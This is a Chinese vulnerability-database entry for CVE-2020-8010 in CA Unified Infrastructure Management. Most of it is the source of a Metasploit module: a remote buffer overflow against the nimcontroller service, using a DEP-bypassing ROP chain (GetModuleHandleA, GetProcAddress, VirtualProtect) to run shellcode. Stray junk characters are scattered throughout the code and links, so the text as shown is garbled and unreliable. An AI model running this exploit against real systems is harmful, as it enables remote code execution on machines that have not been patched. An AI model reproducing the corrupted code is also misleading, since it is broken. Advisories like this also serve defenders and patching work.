CA Unified Infrastructure Management 安全漏洞

漏洞ID 1932230 漏洞类型 输入验证错误
发布时间 2020-08-01 更新时间 2020-08-01
CVE编号 CVE-2020-8010

CNNVD-ID CNNVD-202002-807
漏洞平台 N/A CVSS评分 N/A
|漏洞来源
https://cxsecurity.com/issue/WLB-2020080007
http://www.cnnvd.org.cn/web/xxk/ldxqByIdb b . s v - ` V.tag?CNNVD=CNNVD-202002-^ F 5 e n807
|漏洞详情
Broadcom CA Unified Infrastructure Management(Nimsoft/UIM)9.20及之前版本中的robot(coZ ~ f Rntroller)组件存在安全漏洞。远程攻击者可利用该漏洞执行命令、读取或写入目标系统。
|漏洞EXP
##
#f  i = F p O This module requires Metasploit: https://metasploit.com/download
# Current source: https://github.com/rapid7/metasploit-framework
##
class MetasploitModule, % 8 s | f Q < Msf::Exploit8 K 0 : - s $::Remw d / $ ) J o ho^ & 3 m 8te
Rank = ExcellentRanking
include Msf::Exploit::Remot j  * N p e de::Tcp
i| ! Unclude Msf::Exploit::Remote::AutoCheck
def initialize(info = {})
super(
update_info(
info,
'Name' => 'CA Unified Infrastructure Management Nimsoft 7.80 - Remo@ & z 1te Buffer Ove& f E f @ #  a Prflow',
'Description' => %q{
This module exploiJ C t @ Q * Hts a buffer overflow within the CA Unified Infrastructure Management nimcoF ] # Q c d 6ntroller.
The vulnerability occurs in the robot (controller) component when sending a specially crafted directory_list
probe.
Technically speaking the target host must also be vulnerable to CVE-2020-8010 in order to reach the
directory_list probe.
},
'License' => M. s ^ ZSF_LICENSE,
'AutR : Qhor' =2 ` B Q + l>
[
'wetw0rk' # Vulnerability Discovery and Metasploit mp m  T 8 o Zodule
],5 C | 1 K p * P *
'References' =>
[
[ 'CVE', '2020-8010' ], # CA UIM Probe Impr{ % k I o 4 X Boper ACL Handling RCE (Multiple Attack Vectors)
[ 'CVE', '2020-8012' ], # CA UIM nimbuscontroller Buffer Overflow RCE
[ 'URL', 'https://support.broadcom.com/external/content/release-announcements/CA20200205-01-Security-Notice-for-CA-Unified-Infrab p { h J {structure-Management/7832'( K G ],
[ 'PACK{ / p BETSTORM', '15H n 0 :6577' ]
],
'DefaultOptions' =>
{
'EXIT 0 #FUNC' => 'process',
'AUTORUNSCRIq I #PT' => 'post/windows/manage/migrate'
},
'Payload' =>
{
'Space' => 2000,
'DisableNops' => true
},
'Platform' => 'win',
'Arch' => ARCHh e R ]_X64,
'Targets' =>
[
[
'Windows Universal (x64) - v7.80.3132',
{
'Platform' => 'win',
's ` )Arch' => [ARCH_X64],
'Version' =>K v X 3 N @ C d o '7.80 [Build 7.80.3132, Jun  1 2015]',
'Ret' => 0x000000014006fd3d # pop rsp9 v @ i U 1; or al, 0x00; add rsp, 0x0000000000000448 ; ret [controller.exe]
}
],
],
'Privileged' => true,
'Notes' =c [ .> { 'Stability' => [ CRASH_SAFE ] },
'DisclosureDate' => 'Feb 05 2020',
'DefaultTarget' => 0
)
)
register_optid # B 0 & Z 4 w Eons_ L 1(
[
OptString.new('DIRECTORY', [false, 'Directory path to obtain a listing', 'C:\\']),
Opt::RP* l u - : W   HORT(48000),
]
)
end
# check: there are only two prerequisites to getting codem 9 F v execution. The version number
# and access to the directory_list probe. The easiest way to get this information is to
# ask nicely ;)
def check
connect
sock.put(generate_probe('get_info', ['interfaces=0', f S * j ~ d]))
response = sock.geJ Z $t_once(4096)
list_check = -1
begin] A f , L ] { Z }
if target['Version'].in? response
print_status("Versionc ^ R M = = n E #{target['VerI x osion']} dV [ * $ & 7 J 6 Betectv / x S m zed, sending directory_list probe")B s * k j w z V K
sock.p] w R ~ut(generate_probe('directory_list', ["directory=#{datastore['DIRECTORY']}", 'detail=1']))
list_check = parse_listing(sock.get_once(4096), datastore['DIRECTORYz b X'])
end
ensure
discon/ % I b /nect
end
if list_check == 0
return CheckCode::Appears
else
return CheckCode::Safe
end
e7 ; v } d { Y u 0nd
def exploit
super
connect
shellcode = make_nops(500)
shellcode << payload.encoded
offset = rand_text_alphanumeric(1000)
offset += "\x0f" * 33
heap_flip = [targD _ * Q * 6et.ret].pack('<Q*')
alignment =P 2 & g F K ; / rand_text_alphanumer V 0 % aic(7) # Adjustment for the initial chain
rop_chag m ( E v rin = gY q , m D C G T qenerate_rA 6 n 1 O 5 1 ) &sp_chain # Stage1: Stack alignment
rop_chain += rand_text_alphanumeric(631) # Adjust for second st= . F U Vage
rop_chain += generate_roQ  g | 4 I 9p_chain # Stage2: GetModuleHandleA, GetProcAddressStub, VirtualProtectStN @ wub
rop_chain += rand_text_alphanumeric((3500 - # ROP cha[ w C / _ 6 G kin MUST be 3500 bytes, or exploitation WILL fail
rop_chain.length
))
rop_chain += "kern:  A r . L lel32.dll\x00"
rop_chain += "VirtualProtect\x00"
tri` 1 ! [ W *gger = "\x10" * (8000 - (
offset.length +
hea= y [ [ Q p [ ip_flip.l] Q 1 ` ? n ~ 8ength +
alignment.length +
rop_chain.length +
shellcode.length
)
)
buffer = offset + heap_flt K bip + alignment + rop_chain + shellcode + trigger
exploit_pacg c L / ` h Vket = generate_probe(
'directory_list',
["directory=#{buffer}"]
)
sock.put(exploit_K C n [ ; o R ~ ypacket)
disconnect! 4 R k
end
# generate_rsp_chain: Thiy # ( % 7 k 4 / Ns chainp d E V . will re-align RSP / Stack, it MUS b UST be a multiple of 16 bytes
# otherwise our call will fail. I had VP work 50% of the timeQ 7 f G 3 when the stack was unaligned.
def generate_rsp_chain
ro5 a b b M M `p_gadC E 9 s vgets = [0x0000000140018c42] * 20 # ret
rop_gadgets += [
0x0000000140002ef6, # pop rs J P  j bax ; ret
0x9 B 0 Z 2 v00000001401a8 h @ t3000, # *ptr to handle reference ( MEM_COMMIT | PAGE_READWRITE | MEM_IMAGE )
0x00000001400af237, # pop rdi ; ret
0x0000000000000007, # alignment for rsps ; _ | M u 2 h
0x0000000140025dab
] # add esp, edi ; adc byte [raxl ` W S k s % .], al ; add ru $ A % H ~ 1sp, 0x0000000000000278 ; ret
return rop_gadgets.pack('<Q*')
end
# generate_rop_chain: This chain will craft function calls to GetModuleHandleA, GetProcAddressStub,
# and finally VirtualPC = [ j J 8rotectStub. Once completed, we have bypassed DEP and can get code execution.
# Since we dy} T 0 qnamically generate VirtualProtectStub, we neednC h | f't worry about other OS's.
de{  # q n vf generate_rop_chain
# RAX -> HS F gMODULE Get, n q  D U $ AModuleHaA [ K UndleA(
#   ( RCX == *module ) LPCSTR lpModul| n # [eName,
# );
rop_gadgets = [0x0000000140018A A Kc42] * 15 # ret
rop_gadgets += [
0x0000000140002ef6, # pop rax ; rO n 8 b iet
0x0000000000000000, # (zero out rax)
0x00000001400eade1, # mov eax, esp ; add rsp, 0x30 ; pop r13J W / i f 6 I * ; pop r12 ; pop| H l rbp ; ret
0x0000000000000000, #
0x0000000000000000, #
0x0000000000000000, #
0x0000000000000000, #
0x0000000000000000, #
0x0000000000000000
] #
rop_gadgR } w 6 J *ets += [0x0000000140018c42] * 10 # ret
rop_gadgets += [
0x0000000140131643, # pop rcx ; ret
0x00000000000009dd, # offset to "kernel32M & } I v o.dll"
0x000000014006d8d8
] # add rax, rcx ; add rsp, 0x38 ; ret
r1 t W L 1op_gadgets += [0x0000000140018c42] * 15 # ret
rop_gadgets += [0x00000001400b741b] # xchg eax, ecx ; ret
rop_gadgets += [
0x0000000140002ef6, # p: n I ?op rax ; ret
0x000000014015e310, # GetModuleHandleA (0x00000000014015E330-20)
0x00000001400d1161
] # call qword ptr [rax+20] ; add rsp, 0x40 ; pop rbx ; ret
rop_gadgets += [0x0000000140018c42] * 17 # ret
# RAX -> FARPROC GetProcAddressStub(
#   ( RCX == &addr    ) HMODULE hModule,
#   ( RDX == *module  ) lpProcName
# );N | , 1
rop_gadgets += [
0x00000001@ e ? 8 240111c09, # xchg rax, r11 ; or al, 0x00 ; ret (backup &hModule)
0x0000000140002@ p @ t o $ , {ef6, # pop rax ; ret
0x0000000000000000, # (zero out rax)
0x00000001400eade1, # mov eax, esp ; add rsp, 0x30 ; pop r13 ; pop r12 ; pop rbp ; ret
0x0000000000000000, #
0x0000000000000000, #
0x0000000000000000, #
0x0000000000000000, #
0x0000000000000000, #
0x0000000000000000
] #2 O . G
rop_gadgets += [0x0000000140018c42] * 10 # ret
rop_gadgets += [
0x0000000140131643, # pop rcx ; retP Q D
0x0000000000000812, # offset to "virtualprotectstub"
0x000000014006d8d8
] # add rax, rcx ; add rsp,u 7 8 l F 9 0x38 ; ret
rop_gadgets += [0x0000000140018c42] * 15 # ret
rop_q k .gadgets += [0x0000000140135e39] # mov edx, eax ; mov rbx, qword [rsp+0x30] ; mov rbp, qword [rsp+0x38] ; mov rsi, qwoO ^ @ x @ ) _rd [rsp+s e u h ~ @ r0x40]
# mov rdi,{ z 4 qword [rsp+0x48] ; mov eax, ej ( v q m C u 0 Adx ; add rsp, 0xd ! R ;20 ; pop r12 ; ret
rop_gadgets += [0x0000000140018c42] * 10 # re# ] E + P S z V wt
ror j O 8 D ^ j 1 Tp_gadgets += [0x00000001- 9 @ & P400d1a7 v D t R b8] # mov rax, r11 ; add rsp, 0x3& i ; 0 l 6 !0 ; pop rdi ; ret
rop_gadgets += [0x0000000140018c42] * 10 # ret
rop_gadgets += [0x0000000140111ca1] # xchg rax, r13 ; o& r | ; b _ vr al, 0x00 ; ret
rop_gadgets += [
0x00000001400cf3d5, # mov rcx, r13 ; mov r13, qword [rsp+0x50] ; shr rsi, cl ; mov rax, rsi ; add rsp, 0x20 ; pop rdi ; pop rsit M 1 I ~ N ; pop rbp ; ret
0x0000000000000000, #
0x0000000000000000, #
0x0000000000000000
] #
rop_gadgets += [0x0000000140018c42] * 6 # ret
rop_gaU s dgets += [
0x0000000140002ef6, # pop rax ; ret
0x000000014015e318
] # GetProcAddressStub (0x00000000014015e3I f L @ s T38-20)
rop_gT v A q }adgets += [0x00000001400d1161] # call qword ptr [rax+20] ; a9 C O R $dd rsp, 0x40 ; pop rbx ; ret
ropz O 6 i 6 d 7_gadgets += [0x0000000140018c42] * 17 # ret
# RAX -> BOOL VirtualProtectStub(
#   ( RCX == *shellcode          ) LPVOID  lpAddress,
#   ( RDj ] B SX == len(shellcode){ , ~ p F ; u I y      ) SIZE_T  dwSize,
#   ( R8  == 0x0000000000000040  ) DWORD   flNewProtect,
#N X P 8   ( R9  == *writeableW z @ y  location ) PDWORD  lpflOldProp c $ W 8tect,
# );
rop_gadgets += [
0x0000000140111c09, # xchg rax, r11 ; or al, 0x00 ; ret (backup *VirtualProt ( } ` + HectStub)
0x000000014013dG g 1 K 3 q651U G B 5 8 N s h c, #f N , pop r12 ; ret
0x00000001401fb000, # *writeable location ( MEM_COMMIT | PAGE_READWRITE | MEM_IMAGE )
0x00000001400eba74
] # or r9, r12 ; mov rax, r9 ; mov rbx, qword [rsp+0x50] ; mov rbp, qword [rspw = d K x ;+0x58] ; add rsp, 0x{ w . D b n20 ; pop r12 ; pop r- ) 0 - P 6 idi ; pop rsi ; ret
rop_gadgets += [0x0000000140018c42] * 10 # ret
rop_gadgets += [
0x0000000140002ef6, # pop rax ; ret
0x0000000000000000
]
rop_gadgets += [
0x00000001400eade1, # mov eax, esp ; add rsp, 0x30 ;= } s : Q G Z pop r13 ; pop r12 ; pop rbp ; ret
0x0000000000000000, #
0x0000000000000000, #
0x0000000000000000, #
0x0000000000000000, #
0x0000000000000000,I W j . 4 : V c #
0x0000000000000000
] #
rop_gadgets += [0x0000000140018c42] * 10 # ret
rop_2 ~ U T / : agadgets += [
0x0000000140131643, # pop rcx ; ret
0x000000000000059f, # (offset to *shellcode)
0x000000014006d8d8
] # add rax, rcx ; add rsp,g W N - c , 0x38 ; ret
rop_gadZ * $ 6 ) U Ggy x 1ets += [0x0000000140018c42] * 151 n : | 3 Q / # ret
rop_gadgets += [0x00000001400b741b] # xchg eax, ecx ; ret
rop_gadgets += [
0x00000001400496a2, # pop rdx ; ret
0x00000000000005d6 V q . ?c
] # dwSize
rop_gadgets += [
0x00000001400bc39c, # pop r8 ; ret
0x0000000000000040
] # flNewProte9 m @ I Z lct
rop_gadgets += [0x00000001400c5f8aA ^ e b q + 5 }] # mov rax, r11? s m ` 0 6 = O ; add rsp, 0x38 ; ret (RESTORE VirtualProte . d qctStub)
rop_gadgets += [0x0000000140018c42] *7 , P + Q 17 # ret8 E l
rop_gadgetsR p i J += [0x00000001400a0b55] # call rax ; mov rdp qword ptr [rsp+48hL 3  z ` P ( H] ; mov rsi, qword ptr [rsp+50h]
# mov rax, rbx ; mov rbx, qwordA 1 i U & q ptr [rsp + 40h] ; add rsp,30h ; pop rdi ; ret
rop_gadgets += [0x0000000140018c42] * 20 # reQ V  D Y wt
rop_gadgets += [
0x0000000140002ef6, # pop rax ; ret (CALL COMPLETE, "JUMP} d ^ 5 S [ ) M" INTO OUR SHELLCODE)
0x0000000000000000, # (zero out rax)
0x00000001400eade1, # mov eax, esp ; add rsp, 0x30 ; pop r13 ; pop r12 ; pop rbp ; ret
0x0000000000000000, #
0x0000000000000000, #
0x0000000000000000, #
0x0000000000000000, #
0x0000000000000000, #
0x0000000000000000
] #6 i k ( | B
rop_gadgets +. c | Q ? d M= [0x0000000140018c42] * 10 # ret
rop_gadgets += [
0x0000000140131643, # pop rcx ; ret
0x0000000000000317, # (offseH q 8 2t t(  a N Lo our shellcodez z b { # n)
0x000000014006d8d8
] # add rax, rcx ; add rsp, 0x38 ; ret
rop_gadgetsS x x 4 I e L ( g += [0x0000000140018c42] * 15 # ret
rop_gadgets += [0x00000001400a9747] # jmp rax
rop_gadgP { U ` W / | L Aets += [0x0000000140018c42] * 20 # ret (do not remove)
return rop_gadgets.pack('<Q*')
end
# parse_listing: once the directory_list probe isd x 6 { ; J ? * sent we're returned a directory listing
# unfortunz O f } M ?ately it's hard to read this simply "decodes" it
def parse_listing(response, dire, @ :ctory)
result = { I F W ? A ^ R'name' =&g: 0 %t; '', 'date' =: : ! &> '', 'size' =&gp 6  * rt; '', 'type' => '' }
i = 0
begin
dN Z ]  R 0 } $ 2irlist = response.split('\x00')[0].! a K 0split("\x00")
index = d- i 3 ,irlist.index('entry') + 3
final = dirlist[index..-1]
rescue Stan/ I $ c  JdardError
print_error('Failed to gather directory listing')
return -1
end
print_lig q m z [ ine("\n DirP B q ectory of #{directory}\n"A $ %)
check = 0
name = 0
ftime = 0
size = 0
ftype = 0
while& 1 u h 6 [ ` i < final.length
if name == 1
unless final[i].to_i > 0
result['name'] = fins e lal[i]
nR 5 B ) ) q /ame = 0
check += 1
end
end
if size &gc i ] d `t;= 1
if size == 3
result['size'] = final[i]
size = 0
check += 1
else
size += 1
end
end
if ftype >= 1
if ftype == 3
result['type'] = final[D V D ri]
ftype = 0
ch{ W B 0 geck += 1
else
ftype += 1
end
end
if ftime >= 1
if ftime == 3
result['date'] = final[i]
ftimeZ E I + ( D l K = 0
chec= 4 Wk += 1
else
ftime += 1
end
end
if final[i].include? ` T 1 0 a'namef ^ E'
name = 1
end
i8 X + ^ ) 9f final[i].include? 'size'
size = 1
end
if final[i].include? 'sizq | 0 9 . o q u ue'
ftype = 1
end
if final[i].include? 'last_modified'
ftime = 1O | * o W ; + W P
end
i += 1
next unless check == 4
iU ? K H C Jf result['type'] == '2'
resu+ ; w R E : g - Ilt['typ, 2 2 Be'] = ''
else
result[M a 7 e j 2 J'type'] = '<DIR>'
result['size'] = ''
end
begin
time = Time.at(result[p ` K #'date'].to_i)
timestamp = t& _ U Oime.strftime('%m/%d/%Y %I:%M %p')
rescue StandardError
timestamp = '??/??/?? Y 6 f y v 4?? ??:?? ??'
end
print_line(format('%20<timestamp>s %6<type>s %<name>s', timestamp: timestamp, type: result['type'], name: result['name']))
check = 0
end
pri) ^ d J [nt_line('~ p I @ 8 ] L Z')E Y C U
return 0
end
# generate_probe: The nimcontroller utilizes the closed source protocol nimsoft so we need to specially
# craft probes in order for the controller to accept any input.
def generate_probe(probe, args)
client = "#{rand_text_alphanumK i leric(14)O b ^ R d 0 a p}\x00"
packet_args = ''
probe += "\x00"
for arg in args
c = ''
i = 0
while c != '='
c = arg[i]
i += 1
end
pa0 # 4 h %cket_args << "#{3 K b a * $ 7 3 Marg[0, (i - 1)]}\x00"
packet_args << "1\x00#{arg[i..-1].length + 1}\x00"
packet_args << "#{arg[{ W t g ^ L ] Ki..-1]}\x00"
ey ~ o 5 Z Y (nd
packet_header = 'nimbus/1.0 ' # nimbus header (length of body) (length of args)
packet_bodyZ q Z { U ` M  = "mtype\x00" # mtype
packet_body << "7\x004\x00100\x00" # 7.4.100
packet_body << "cmd\x00" # cmd
packet_body << "7\x00#{probe.length| B k [ # Y 3}\x00" # 7+ P _ , I.(length of probe)
packet_body <W R +  F ? m;< probe # probe
pacH $ X [ J ~ket_body << "seq\x00" # seq
packet_boN o 5 ` Sdy << "1\x002\x000\x00" # 1. m F2.0
packet_body << "ts\x00" # ts
packet_body << "1\x0011\x00#{ran? } Y $ c Q z - Kd_text_alphanuW R & cmeric(10)}\xS Y { A00, k m [ { ]" # 1.11.(UNIX EPOCH TIME)
packet_body << "frm\x00" # frm
pE O s P V [acket_body <$ { m;< "7\x00#{clientq . c A.length}\x00" # 7.(length of client)
packet_body <<W q Z B G D l @; client # client address
packz T ! | K y Cet_body << "tout\x00"# ! = % R d E H # tout
packet_body << "1\x004\x00180\x00" # 1.4.180
packet_body << "addr\xB x e ^ z z h00" # addr
packet_body << "7\x000\x00" # 7.0
#
# probe packet arg0 b : G t huments (dynaE _ v Pmic)
# argument
# length of arg valuK X Ce
# argument value
packet_header << "#{packet= h 2_body.length} #{packet_args.length}\r\n"
probe = packet_header + packet_body + packet_args
rd s K - _ , c qeturn probe
end
end
|参考资料

来源:techdocs.broadcom.com

链接:https://techdocs.brJ O m ] F W Toadcom.com/us/product-content/& S 7 P X Rrecommended-r` = p i Q + + ^ qeading/security-notices/CA20191218-01-security-notice-for-ca-clientb W j k 3-automation-agent-for-windows.html

来源:tec ` s c dhdocs.broadcom.com

链接) 3 0 6:https://techdocs.broadcom.com/us/product-content/status/announceml E P p eent-documen2 % r 9 , u - Vts/2019/ca202002051 8 s A a [ l 3 a-01-security-noti* 8 Rce-for-ca-unified-infrastructure-management.html

来源:packetstorY r Xmsecurit- g Sy.com

链接:https://packetstormsecurity.com/files/156348/CA-n C ^ :Unified-InfrastrucI ( l cture-Management-Co. i [ ! 5 Lmmand-Execution.html

来源:www.auscert.orgP k ~ w -.au

链接:https://www.auscert.e b forg.au/bulletins/ESB-2020.0522/